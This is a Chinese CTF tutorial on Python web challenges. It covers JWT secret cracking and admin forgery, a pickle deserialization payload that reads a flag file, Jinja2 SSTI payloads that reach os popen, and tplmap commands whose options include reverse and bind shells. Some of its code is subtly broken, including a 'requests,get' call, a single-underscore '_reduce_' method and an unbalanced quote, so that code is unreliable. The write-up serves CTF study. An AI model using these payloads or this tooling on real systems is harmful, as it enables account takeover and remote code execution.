83 CTF夺旗-Python考点SSTI反序列化字符串

这里写目录标题

    • CTF各大题型简介
    • 演示案例:
      • CTF夺旗-Python-支付逻辑&JWT&反序列化
      • CTF夺旗-Python-Flask&jinja2&SSTl模版注入
      • CTF夺旗-Python-格式化字符串漏洞&读取对象
    • 涉及资源:

在这里插入图片描述
我们这篇文章主要讲的是CTF在web渗透测试方向的3个考点

CTF各大题型简介

MISC(安全杂项):全称Miscellaneous。题目涉及流量分析、电子取证、人肉搜索、数据分析、大数据统计等等,覆盖面比较广。我们平时看到的社工类题目;给你一个流量包让你分析的题目;取证分析题目;都属于这类题目。主要考查参赛选手的各种基础综合知识,考察范围比较广。

PPC(编程类):全称Professionally Program Coder。题目涉及到程序编写、编程算法实现。算法的逆向编写,批量处理等,有时候用编程去处理问题,会方便的多。当然PPC相比ACM来说,还是较为容易的。至于编程语言嘛,推荐使用Python来尝试。这部分主要考察选手的快速编程能力。

CRYPTO(密码学):全称Cryptography。题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。实验吧“角斗场”中,这样的题目汇集的最多。这部分主要考查参赛选手密码学相关知识点。

REVERSE(逆向):全称reverse。题目涉及到软件逆向、破解技术等,要求有较强的反汇编、反编译扎实功底。需要掌握汇编,堆栈、寄存器方面的知识。有好的逻辑思维能力。主要考查参赛选手的逆向分析能力。此类题目也是线下比赛的考察重点。

STEGA(隐写):全称Steganography。隐写术是我开始接触CTF觉得比较神奇的一类,知道这个东西的时候感觉好神奇啊,黑客们真是聪明。题目的Flag会隐藏到图片、音频、视频等各类数据载体中供参赛选手获取。载体就是图片、音频、视频等,可能是修改了这些载体来隐藏flag,也可能将flaq隐藏在这些载体的二进制空白位置。有时候需要你侦探精神足够的强,才能发现。此类题目主要考察参赛选手对各种隐写工具、隐写算法的熟悉程度。实验吧“角斗场”的隐写题目在我看来是比较全的,以上说到的都有涵盖。新手盆友们可以去了解下。

PWN(溢出):PWN在黑客俚语中代表着攻破,取得权限,在CTF比赛中它代表着溢出类的题目,其中常见类型溢出漏洞有栈溢出、堆溢出。在CTF比赛中,线上比赛会有,但是比例不会太重,进入线下比赛,逆向和溢出则是战队实力的关健。主要考察参与选手漏洞挖掘和利用能力。

WEB(wob类):WEB应用在今天越来越广泛,也是CTF夺旗竞赛中的主要题型,题目涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码审计、上传等漏洞。这些题目都不是简单的注入、上传题目,至少会有一层的安全过滤,需要选手想办法绕过。且Web题目是国内比较多也是大家比较喜欢的题目。因为大多数人开始安全都是从web开始的。

演示案例:

CTF夺旗-Python-支付逻辑&JWT&反序列化

真题:2019 CISCN华北赛区Day1 Web2 WriteUp (全国大学生信息安全竞赛)

打开后通过提示 -> 寻找LV6 -> 购买修改支付逻辑 -> 绕过admin限制需修改jwt值 -> 爆破jwt密匙 -> 重组jwt值成为admin -> 购买进入会员中心 -> 源码找到文件压缩源码 -> Python代码审计反序列化 -> 构造读取flag代码进行序列化打印 -> 提交获取

题目靶场打开就这样子,这个靶场考了很多知识点,其中最重要的知识点是python反序列化,JWT安全属于java里面的,当然python也有,它是一个认证机制的漏洞,支付逻辑在任何脚本里面都会有,这个漏洞是通用的;JWT安全和反序列化在PHP里面出现的比较少
在这里插入图片描述
根据提示:暴破、一定要买到LV6。写一个脚本,找到LV6。如下图所示,在181页

import requests

for i in range(1,1000):
    url='http://119.45.216.198:8083/shop?page='+str(i)
    #print(url)
    result=requests,get(url).content.decode('utf-8')
    if 'lv6.png' in result:
        print(url+'yes')
    else:
        print(url+'|no')
        pass

在这里插入图片描述
打开181页,找到LV6的购买链接。到这里,我们就完成了提示的第一步
在这里插入图片描述
点击购买,发现价格太高,而余额太少,不够。这里就涉及到支付逻辑漏洞
在这里插入图片描述
前端校验可以在前端修改,后端校验就没办法了

发现购买时有一个优惠券,尝试在前端修改优惠券折扣,点击结算,提示“该页面只允许admin访问”
在这里插入图片描述
在这里插入图片描述
由于目前我们登录的是普通用户,此时可以尝试垂直越权。观察数据包,发现会话使用的JWT
在这里插入图片描述
尝试使用c-jwt-cracker工具爆破JWT秘钥,成功得到秘钥1kun

https://github.com/brendan-rius/c-jwt-cracker JWT cracker
在这里插入图片描述
接下来使用在线网站进行解密
https://jwt.io/ jwt在线解密
在这里插入图片描述
将username值改为admin,使用秘钥重新生成JWT,成功登录admin账户
在这里插入图片描述
查看网页源代码,找到新提示
在这里插入图片描述
下载www.zip,解压缩,打开文件,发现是python源码
在这里插入图片描述
我们学好代码审计思路之后,很多东西你只要把这个思路延伸下去就可以了,这个时候就可以在网上寻找资料,你思路就会很明显了

我们做代码审计必不可少的工具,就是把idea给载入进去

在python里面用到这些关键字,就会出现反序列化漏洞
在这里插入图片描述
使用idea工具打开源码,全局搜索漏洞关键字。发现反序列化关键字pickle,猜测这里有反序列化漏洞

python漏洞参考:https://github.com/bit4woo/python_sec

在代码中出现了对象,然后引用对象的实体化,触发里面的魔术方法
在这里插入图片描述
利用漏洞,编写脚本,生成payload

import pickle
import urllib

class payload(object):
    def _reduce_(self):
       return (eval,(open('/flag.txt','r').read()",))
       
a=pickle.dumps(payload())
a = urllib.quote(a)
print a

在这里插入图片描述
由于become输入框是个隐藏框,可以F12删除隐藏属性
在这里插入图片描述
把隐藏去掉就显示了输入框
在这里插入图片描述
输入payload,点击"一键成为大会员"
在这里插入图片描述
成功得到flag
在这里插入图片描述

CTF夺旗-Python-Flask&jinja2&SSTl模版注入

1.ssti模版注入原理解释
我们有时候需要在页面输出一些代码或者输出一些东西的时候,如果这个输出东西有变量的话,变量引用不好的话,那么这个变量传入一些值之后,会导致这边形成代码的执行

#/www
from flask import Flask,request,render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET'] = "root:password"
 
@app.route('/')
@app.route('/index')
def index():
    return render_template("index.html",title='SSTI_TEST',name=request.args.get("name"))
 
if __name__ == "__main__":
    app.run()

<!--/www/templates/index.html-->
<html>
  <head>
    <title>{{title}} - cl4y</title>
  </head>
 <body>
      <h1>Hello, {{name}} !</h1>
  </body>
</html>

在这里插入图片描述
2.如何确定Python-ssti模版注入:中间件,返回页面,关键文字提示等

中间件:可通过请求响应头server值判断,比如 Server:Werkzeug/0.11.15 python/3.7.0,说明后台使用python脚本编写,应该想到测试是否有SSTI漏洞

返回页面:比如返回Opos!That page doesnt exist

关键字提示:比如flask、inja2、mako等
3.如何正确利用ssti注入获取Flag:人工&工具
(1)人工:判断版本-找利用类-构造Payload-绕过滤等
判定环境支持那些模块、那些库能够使用

http://127.0.0.1:5000/acc?404_url={{%27%27.__class__.__bases__[0].__subclasses__()}}

我们找一下os模块,os能够执行命令、文件的操作,还有file、request模块
在这里插入图片描述

http://127.0.0.1:5000/acc?404_url={{%22%22.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[%27popen%27](%27whoami%27).read()}}

在这里插入图片描述
第一个是检测,第二个就是判断它有没有可用类,完了之后,就是用payload去攻击它
(2)工具:自动化检测工具tplmap使用
https://github.com/epinna/tplmap
这个是专门搞python的SSTI漏洞,不过在CTF比赛中使用这个工具,不能直接攻击成功,需要你修改一下

Usage: python tplmap.py [options]
 
选项:
  -h, --help          显示帮助并退出
 
目标:
  -u URL, --url=URL   目标 URL
  -X REQUEST, --re..  强制使用给定的HTTP方法 (e.g. PUT)
 
请求:
  -d DATA, --data=..  通过POST发送的数据字符串 它必须作为查询字符串: param1=value1&param2=value2
  -H HEADERS, --he..  附加消息头 (e.g. 'Header1: Value1') 多次使用以添加新的消息头
  -c COOKIES, --co..  Cookies (e.g. 'Field1=Value1') 多次使用以添加新的Cookie
  -A USER_AGENT, -..  HTTP User-Agent 消息头的值
  --proxy=PROXY       使用代理连接到目标URL
 
检测:
  --level=LEVEL       要执行的代码上下文转义级别 (1-5, Default: 1)
  -e ENGINE, --eng..  强制将后端模板引擎设置为此值
  -t TECHNIQUE, --..  技术 R:渲染 T:基于时间的盲注 Default: RT
 
操作系统访问:
  --os-cmd=OS_CMD     执行操作系统命令
  --os-shell          提示交互式操作系统Shell
  --upload=UPLOAD     上传本地文件到远程主机
  --force-overwrite   上传时强制覆盖文件
  --download=DOWNL..  下载远程文件到本地主机
  --bind-shell=BIN..  在目标的TCP端口上生成系统Shell并连接到它
  --reverse-shell=..  运行系统Shell并反向连接到本地主机端口
 
模板检查:
  --tpl-shell         在模板引擎上提示交互式Shell
  --tpl-code=TPL_C..  在模板引擎中注入代码
 
常规:
  --force-level=FO..  强制将测试级别设置为此值
  --injection-tag=..  使用字符串作为注入标签 (default '*')

举例

检测是否有SSTI漏洞,如下图,发现有漏洞,可上传下载文件

命令:python tplmap.py -u http://127.0.0.1:5000/acc?404_url=
在这里插入图片描述
工具只能做为参考,其实目标这里也可以命令执行,工具误报了

下载文件
命令:python tplmap.py -u http://127.0.0.1:5000/acc?404_url= --download flag.txt 1.txt
在这里插入图片描述
上传文件
命令:python tplmap.py -u http://127.0.0.1:5000/acc?404_url= --upload flag.txt 1.txt

案例演示
靶场地址:https://buuoj.cn/challenges#[WesternCTF2018]shrine

打开发现给出源码-pytho&flask&ssti-代码分析访问参数,flag位置,过滤等-不能进行正常的路径符合-采用内置函数读取-读取代码中的存储FLAG

页面打开如下,直接给出源代码,CTF题目都会给你提示的,你如果找不到提示,说明你没有找对方向
在这里插入图片描述
看到flask,想到模板注入
可以手工测试:
http://5e59d3ff-705b-4ad8-bcce-d9f688ebe3db.node4.buuoj.cn:81/shrine/{{1+1}}
返回2,说明有SSTI漏洞

也可以使用工具测试。由于这里源代码中没有给出参数,因此需要在url后面加*
命令:python tplmap.py -u http://5e59d3ff-705b-4ad8-bcce-d9f688ebe3db.node4.buuoj.cn:81/shrine/*

这里检测出漏洞,但是却不能利用操作。原因是源代码中作了过滤,过滤了()
在这里插入图片描述
我们可以采用SSTI沙盒逃逸进行绕过,去网站找如何绕过括号的payload去进行利用

看源码app.config[‘FLAG’] = os.environ.pop(‘FLAG’),推测{undefined{config}}可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号。不过python还有一些内置函数,比如url_for和get_flashed_messages

url_for查看全局变量:/shrine/{{url_for.__globals__}}

这里申明了很多东西,调用函数,中间件信息,还有获取里面脚本的函数
在这里插入图片描述
current_app意思应该是当前app,那我们就看当前app下的config:/shrine/{{url_for.__globals__['current_app'].config}},成功拿到flag

这个脚本运行的时候,会加载很多相关python内置的,通过命令先获取全局的,把储存在里面的flag值给获取到
在这里插入图片描述
get_flashed_message同理:/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

CTF夺旗-Python-格式化字符串漏洞&读取对象

格式化字符串漏洞原理

第一种:%操作符
第二种:string.Template
第三种:调用Format方法
第四种:f-Strings

参考:https:/xz.aliyun.com/t/3569
漏洞代码举例
调用Format方法。如下图所示,第三个name后面的值可控,我们就可以传参获取当前脚本的核心变量flag值
在这里插入图片描述
在这里插入图片描述
f-Strings。这是python3函数式的新增一种字符串,其功能强大,可以执行字符串中包含的python表达式
在这里插入图片描述

涉及资源:

https://jwt.io/ jwt在线解密
https://buuoj.cn/ 比赛平台
https://www.bugku.com/ ctf库
https://www.ctfhub.com/ ctf题
https://www.xuenixiang.com ctf靶场、逆向
https:/xz.aliyun.com/t/3569 Python Web之flask session&格式化字符串漏洞
https://xz.aliyun.com/t/7746 SSTI模板注入(Python+Jinja2)
https://gathub.com/CTFd/CTFd ctf
https://github.com/CTFTraining ctf环境库
https://github.com/epinna/tplmap 注入
https://github.com/bit4woo/python_sec python渗透策略,目录
https://github.com/brendan-rius/c-jwt-cracker JWT cracker
https://www.cnblogs.com/liuxiaowei/p/9039622.html 【Flask】Flask中关于url_for()
python漏洞参考:https://github.com/bit4woo/python_sec

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/378427.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【附代码】NumPy加速库NumExpr(大数据)

文章目录 相关文献测试电脑配置数组加减乘除数组乘方Pandas加减乘除总结 作者&#xff1a;小猪快跑 基础数学&计算数学&#xff0c;从事优化领域5年&#xff0c;主要研究方向&#xff1a;MIP求解器、整数规划、随机规划、智能优化算法 如有错误&#xff0c;欢迎指正。如有…

【教学类-48-02】20240207“年”和“月”和“日”相等(如2012 1212)

背景需求&#xff1a; 已经制作了对称年月的数字提取&#xff0c; 【教学类-48-01】20240205对称的“年”和“月日”&#xff08;如2030 0302&#xff09;-CSDN博客文章浏览阅读84次。【教学类-48-01】20240205对称的“年”和“月日”&#xff08;如2030 0302&#xff09;htt…

特征工程:特征提取和降维-上

目录 一、前言 二、正文 Ⅰ.主成分分析 Ⅱ.核主成分分析 三、结语 一、前言 前面介绍的特征选择方法获得的特征&#xff0c;是从原始数据中抽取出来的&#xff0c;并没有对数据进行变换。而特征提取和降维&#xff0c;则是对原始数据的特征进行相应的数据变换&#xff0c;并…

SERVLET线程模型

1. SERVLET线程模型 Servlet规范定义了两种线程模型来阐明Web容器应该如何在多线程环境中处理servlet。第一种模型称为多线程模型,默认在此模型内执行所有servlet。在此模型中,每次客户机向servlet发送请求时Web容器都启动一个新线程。这意味着可能有多个线程同时访问servle…

Python Paramiko 使用交互方式获取终端输出报错

近期接到一个需求&#xff0c;要批量登录网络设备获取配置。 原计划使用 Paramiko exec即可&#xff0c;但是后来发现&#xff0c;有些设备命令也执行了&#xff0c;但是没有回显。 于是尝试使用 invoke_shell() 方式。 前期调试倒是OK&#xff0c;直到遇见一个输出内容较长的…

MySQL ——group by子句使用with rollup

group by 子句使用with rollup关键字之后&#xff0c;具有分组加和的功能。即&#xff1a;在所有的分组记录之后&#xff0c;自动新增一条记录&#xff0c;从全局计算所有记录的数据。 0 问题描述 求出每年的学生平均成绩&#xff0c;及历史至今的平均成绩&#xff0c;结果保留…

服务器与电脑的区别?

目录 一、什么是服务器 二、什么是电脑 三、服务器和电脑的区别 一、什么是服务器 服务器是指一种专门提供计算和存储资源、运行特定软件服务的物理或虚拟计算机。服务器主要用于接受和处理来自客户端&#xff08;如个人电脑、手机等&#xff09;的请求&#xff0c;并向客户…

掌握虚拟化与网络配置之道:深入浅出VMware及远程管理技巧

目录 虚拟机介绍 虚拟机的关键字 服务器架构的发展 为什么用虚拟机VMware 虚拟机和阿里云的区别 功能角度 价格因素 应用场景 优势方面 找到windows的服务管理 配置VMware 关于VMware安装的几个服务 vmware如何修改各种网络配置 关于NAT的详细信息(了解) NAT(网…

FPGA_简单工程_无源蜂鸣器驱动实验

一 理论 蜂鸣器按其结构可分为电磁式蜂鸣器和压电式蜂鸣器2中类型&#xff0c;按其有无信号源&#xff0c;分为有源蜂鸣器和无源蜂鸣器。 有源蜂鸣器&#xff0c;内部装有集成电路&#xff0c;不需要音频驱动电路&#xff0c;就直接能发出声响&#xff0c;而无源蜂鸣器&#…

ubuntu22.04安装部署03: 设置root密码

一、前言 ubuntu22.04 安装完成以后&#xff0c;默认root用户是没有设置密码的&#xff0c;需要手动设置。具体的设置过程如下文内容所示&#xff1a; 相关文件&#xff1a; 《ubuntu22.04装部署01&#xff1a;禁用内核更新》 《ubuntu22.04装部署02&#xff1a;禁用显卡更…

机器学习——有监督学习和无监督学习

有监督学习 简单来说&#xff0c;就是人教会计算机学会做一件事。 给算法一个数据集&#xff0c;其中数据集中包含了正确答案&#xff0c;根据这个数据集&#xff0c;可以对额外的数据希望得到一个正确判断&#xff08;详见下面的例子&#xff09; 回归问题 例如现在有一个…

基于SpringBoot+Vue的校园博客管理系统

末尾获取源码作者介绍&#xff1a;大家好&#xff0c;我是墨韵&#xff0c;本人4年开发经验&#xff0c;专注定制项目开发 更多项目&#xff1a;CSDN主页YAML墨韵 学如逆水行舟&#xff0c;不进则退。学习如赶路&#xff0c;不能慢一步。 目录 一、项目简介 二、开发技术与环…

嵌入式学习之Linux入门篇笔记——10,Linux连接档概念

配套视频学习链接&#xff1a;http://【【北京迅为】嵌入式学习之Linux入门篇】 https://www.bilibili.com/video/BV1M7411m7wT/?p4&share_sourcecopy_web&vd_sourcea0ef2c4953d33a9260910aaea45eaec8 目录 1.Linux 下的连接档种类 2.什么是 inode&#xff1f; 3.什…

3060ti显卡+cuda12.1+win10编译安装生成fastdeploy的c++与python库

在cuda12中,调用官方发布的fastdeploy会出现报错,故此自行编译fastdeploy库。 官网编译教程:https://github.com/PaddlePaddle/FastDeploy/blob/develop/docs/cn/build_and_install/gpu.md 可选编译选项 编译选项 无论是在何平台编译,编译时仅根据需求修改如下选项,勿…

数据库学习笔记2024/2/4

随笔 怎么学? 1、MySQL数据库就是存储和管理数据的一个大型软件,这个软件有一个专门的语言叫SQL,主要学的是SQL语言,但想要达到企业用人标准,就还得学会熟练使用MySQL这个软件。 2、学习分三阶段: 一. 基础篇 1. MySQL概述 1.1 数据库相关概念 数据库管理系统 -> MyS…

各版本安卓的彩蛋一览

目录 前言前彩蛋纪Android 2.3 GingerbreadAndroid 3 HoneycombAndroid 4.0 Ice Cream SandwichAndroid 4.1-4.3 JellybeanAndroid 4.4 KitKatAndroid 5 LollipopAndroid 6 MarshmallowAndroid 7 NougatAndroid 8 OreoAndroid 9 PieAndroid 10 Queen CakeAndroid 11 Red Velvet…

消息中间件:Puslar、Kafka、RabbigMQ、ActiveMQ

消息队列 消息队列&#xff1a;它主要用来暂存生产者生产的消息&#xff0c;供后续其他消费者来消费。 它的功能主要有两个&#xff1a; 暂存&#xff08;存储&#xff09;队列&#xff08;有序&#xff1a;先进先出 从目前互联网应用中使用消息队列的场景来看&#xff0c;…

MedSAM in 3D Slicer: 分割一切医学图像

MedSAM-Lite 3D Slicer简介 这是 MedSAM 的官方 3D Slicer 插件存储库&#xff0c;可用于在医学图像中分割任何物体。 什么是MedSAM:点击查看这篇文章 SCI 1区论文&#xff1a;Segment anything in medical images 查看分割演示&#x1f447; 添加视频 文中涉及到的视频前往…

C语言笔试题之实现C库函数 strstr()(设置标志位)

实例要求&#xff1a; 1、请你实现C库函数strstr()&#xff08;stdio.h & string.h&#xff09;&#xff0c;请在 haystack 字符串中找出 needle 字符串的第一个匹配项的下标&#xff08;下标从 0 开始&#xff09;&#xff1b;2、函数声明&#xff1a;int strStr(char* h…

Filter 实现过滤符合条件的请求并落库

其他系列文章导航 Java基础合集数据结构与算法合集 设计模式合集 多线程合集 分布式合集 ES合集 文章目录 其他系列文章导航 文章目录 前言 一、配置过滤器类 二、定义数据表、实体类、Mapper 2.1 DDL 2.2 实体类 2.3 Mapper 三、创建一个过滤器 四、实现 Nacos 配置…